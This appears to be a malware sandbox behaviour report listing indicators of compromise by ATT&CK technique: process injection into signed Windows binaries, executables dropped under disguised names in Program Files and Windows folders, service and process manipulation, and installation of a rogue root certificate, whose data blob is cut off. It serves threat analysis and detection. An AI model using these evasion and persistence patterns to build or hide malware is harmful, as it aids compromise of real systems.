File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\system32\SubDir\Client.exe	plswork.exe

Enumerates processes with tasklist 1 TTPs 5 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exe

pid process

4040 tasklist.exe
11752
1860 tasklist.exe
2512 tasklist.exe
5892 tasklist.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

rhsgn_protected.exedocument.exe

pid process

2128 rhsgn_protected.exe
392 document.exe

pid	process
4040	tasklist.exe
11752
1860	tasklist.exe
2512	tasklist.exe
5892	tasklist.exe

pid	process
2128	rhsgn_protected.exe
392	document.exe

Suspicious use of SetThreadContext 15 IoCs

Processes:

Possibly.pifDecryptJohn.exezzzz1.exeGREENpackage.exewinupsecvmgr.exeArmanivenntii_crypted_EASY.exeDRIVEapplet.exeUpdate.exenpldfzxzkixc.exe18ijuw13.exej4vzzuai.exe5_6253708004881862888.exe

description	pid	process	target process
PID 740 set thread context of 2328	740	Possibly.pif	Possibly.pif
PID 3716 set thread context of 424	3716	DecryptJohn.exe	aspnet_regiis.exe
PID 1400 set thread context of 3756	1400	zzzz1.exe	BitLockerToGo.exe
PID 4272 set thread context of 4120	4272	GREENpackage.exe	MsBuild.exe
PID 1844 set thread context of 3928	1844	winupsecvmgr.exe	conhost.exe
PID 1844 set thread context of 4412	1844	winupsecvmgr.exe	dwm.exe
PID 2000 set thread context of 4820	2000	Armanivenntii_crypted_EASY.exe	aspnet_regiis.exe
PID 1484 set thread context of 2756	1484	DRIVEapplet.exe	MsBuild.exe
PID 432 set thread context of 1408	432	Update.exe	dialer.exe
PID 2080 set thread context of 4532	2080	npldfzxzkixc.exe	dialer.exe
PID 2080 set thread context of 3172	2080	npldfzxzkixc.exe	dialer.exe
PID 2080 set thread context of 732	2080	npldfzxzkixc.exe	dialer.exe
PID 2520 set thread context of 5548	2520	18ijuw13.exe	18ijuw13.exe
PID 3712 set thread context of 5260	3712	j4vzzuai.exe	j4vzzuai.exe
PID 5620 set thread context of 5652	5620	5_6253708004881862888.exe	RegAsm.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\ggg.exe	upx
behavioral2/memory/2032-1433-0x00007FF63F6B0000-0x00007FF63F71C000-memory.dmp	upx
behavioral2/memory/4728-1485-0x00007FF63F6B0000-0x00007FF63F71C000-memory.dmp	upx
behavioral2/memory/2032-1488-0x00007FF63F6B0000-0x00007FF63F71C000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\Files\ipscan221.exe	upx
C:\Users\Admin\AppData\Local\Temp\Files\svchot.exe	upx

Drops file in Program Files directory 15 IoCs

Processes:

Msblockreview.exe

description	ioc	process
File created	C:\Program Files (x86)\Windows Defender\es-ES\dllhost.exe	Msblockreview.exe
File created	C:\Program Files (x86)\WindowsPowerShell\Configuration\Possibly.pif.exe	Msblockreview.exe
File created	C:\Program Files\Windows Sidebar\5940a34987c991	Msblockreview.exe
File created	C:\Program Files (x86)\Microsoft.NET\RedistList\5b884080fd4f94	Msblockreview.exe
File created	C:\Program Files (x86)\Microsoft.NET\RedistList\fontdrvhost.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Windows Defender\es-ES\5940a34987c991	Msblockreview.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\55b276f4edf653	Msblockreview.exe
File created	C:\Program Files (x86)\WindowsPowerShell\Configuration\a9d90a875dcb30	Msblockreview.exe
File created	C:\Program Files\Windows Sidebar\dllhost.exe	Msblockreview.exe
File created	C:\Program Files\Google\Chrome\AsyncClient.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\StartMenuExperienceHost.exe	Msblockreview.exe
File opened for modification	C:\Program Files (x86)\Common Files\Registry.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Common Files\ee2ad38f3d4382	Msblockreview.exe
File created	C:\Program Files\Google\Chrome\81a0c9708c3a89	Msblockreview.exe
File created	C:\Program Files (x86)\Common Files\Registry.exe	Msblockreview.exe

Drops file in Windows directory 24 IoCs

Processes:

splwow64_1.exeConsiderableWinners.exeMsblockreview.exer.exenewtpp.exet2.exetpeinf.exethkdh.exechrome.exe

description	ioc	process
File opened for modification	C:\Windows\HardlyAircraft	splwow64_1.exe
File opened for modification	C:\Windows\ViewpictureKingdom	splwow64_1.exe
File opened for modification	C:\Windows\CameroonBuses	ConsiderableWinners.exe
File opened for modification	C:\Windows\ConsolidationDistinct	ConsiderableWinners.exe
File opened for modification	C:\Windows\BackedIma	ConsiderableWinners.exe
File created	C:\Windows\OCR\en-us\fontdrvhost.exe	Msblockreview.exe
File created	C:\Windows\ModemLogs\d556fe075c1122	Msblockreview.exe
File created	C:\Windows\sysvplervcs.exe	r.exe
File opened for modification	C:\Windows\BrandonBlind	splwow64_1.exe
File opened for modification	C:\Windows\sysnldcvmr.exe	newtpp.exe
File opened for modification	C:\Windows\PossessDescriptions	ConsiderableWinners.exe
File created	C:\Windows\sysklnorbcv.exe	t2.exe
File created	C:\Windows\ModemLogs\2667518541.exe	Msblockreview.exe
File opened for modification	C:\Windows\sysvplervcs.exe	r.exe
File opened for modification	C:\Windows\FlickrRealm	ConsiderableWinners.exe
File created	C:\Windows\sysppvrdnvs.exe	tpeinf.exe
File opened for modification	C:\Windows\sysppvrdnvs.exe	tpeinf.exe
File opened for modification	C:\Windows\sysklnorbcv.exe	t2.exe
File created	C:\Windows\OCR\sysklnorbcv.exe	Msblockreview.exe
File created	C:\Windows\OCR\en-us\2667518541.exe	Msblockreview.exe
File created	C:\Windows\Tasks\Test Task17.job	thkdh.exe
File opened for modification	C:\Windows\IpaqArthur	splwow64_1.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File created	C:\Windows\sysnldcvmr.exe	newtpp.exe

Launches sc.exe 29 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
4520	sc.exe
1196	sc.exe
4432	sc.exe
4180	sc.exe
1476	sc.exe
2680	sc.exe
2680	sc.exe
4700	sc.exe
1812	sc.exe
2880	sc.exe
1804	sc.exe
3380	sc.exe
924	sc.exe
4532	sc.exe
568	sc.exe
2284	sc.exe
4836	sc.exe
1156	sc.exe
1076	sc.exe
3352	sc.exe
2764	sc.exe
5064	sc.exe
2932	sc.exe
2904	sc.exe
3428	sc.exe
2340	sc.exe
3672	sc.exe
3352	sc.exe
2216	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\main.exe	pyinstaller

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\10000240101\Javvvum.exe	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Program crash 10 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
836	380	WerFault.exe	Statement-415322024.exe
4520	1068	WerFault.exe	msf.exe
3288	4272	WerFault.exe	GREENpackage.exe
3476	4252	WerFault.exe	clip.exe
2936	2756	WerFault.exe	MsBuild.exe
2892	2756	WerFault.exe	MsBuild.exe
5616	2520	WerFault.exe	18ijuw13.exe
5384	3712	WerFault.exe	j4vzzuai.exe
1288	5204	WerFault.exe	prem1.exe
9376	8868	WerFault.exe	2kudv4ea.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

findstr.exefindstr.exeGREENpackage.exetimeout.exePrototype.exeUpdate.exet2.exe478229728.exeschtasks.exeStatement-415322024.exesysppvrdnvs.execmd.exeAsyncClient.exeloader.exePING.EXEr.exeschtasks.exeipscan221.exeRegAsm.exetaskkill.exetaskkill.exetaskkill.exedllhost.exethkdh.exeschtasks.exetaskkill.exeme.exesoft.exetasklist.exedllhost.exej4vzzuai.exe205518708.exesc.exeserver.exedllhost.exesysnldcvmr.exeMeeting.exetimeout.exetaskkill.exetaskkill.exesc.exefindstr.exetasklist.execmd.execmd.exeBitLockerToGo.exedllhost.execonnector1.exeschtasks.exefindstr.exeschtasks.exeschtasks.exesvchot.exeschtasks.exe566219085.exeschtasks.exeschtasks.exedllhost.exepowershell.exeschtasks.exeserver.exe2667518541.exepowershell.exeschtasks.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GREENpackage.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Prototype.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Update.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	t2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	478229728.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Statement-415322024.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysppvrdnvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AsyncClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	r.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipscan221.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	thkdh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	me.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	soft.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	j4vzzuai.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	205518708.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	server.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysnldcvmr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Meeting.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	connector1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchot.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	566219085.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	server.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2667518541.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 10 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

PING.EXEPING.EXEPING.EXEPING.EXEcmd.exe

pid process

12108
11196
12764
16212
6112 PING.EXE
6760 PING.EXE
8324 PING.EXE
8460 PING.EXE
1468 cmd.exe
11800

pid	process
12108
11196
12764
16212
6112	PING.EXE
6760	PING.EXE
8324	PING.EXE
8460	PING.EXE
1468	cmd.exe
11800

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

winrar-info.exeTPB-1.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	winrar-info.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	winrar-info.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	TPB-1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	TPB-1.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

780 timeout.exe
2040 timeout.exe

pid	process
780	timeout.exe
2040	timeout.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

System Information Discovery

Processes:

msedge.exewinrar-info.exechrome.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	winrar-info.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	winrar-info.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Kills process with taskkill 30 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
1792	taskkill.exe
4836	taskkill.exe
3596	taskkill.exe
4220	taskkill.exe
2496	taskkill.exe
14192
16024
4692	taskkill.exe
4472	taskkill.exe
5292	taskkill.exe
956	taskkill.exe
14980
15460
4216	taskkill.exe
1968	taskkill.exe
10744	taskkill.exe
13976
16796
6056	taskkill.exe
13380
1696	taskkill.exe
14596
18400
3300	taskkill.exe
2296	taskkill.exe
1676	taskkill.exe
656	taskkill.exe
5000	taskkill.exe
3372	taskkill.exe
16624

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.EXEpowershell.EXEchrome.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE

Modifies registry class 1 IoCs

Processes:

ARA.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings ARA.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

Processes:

14082024.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	14082024.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55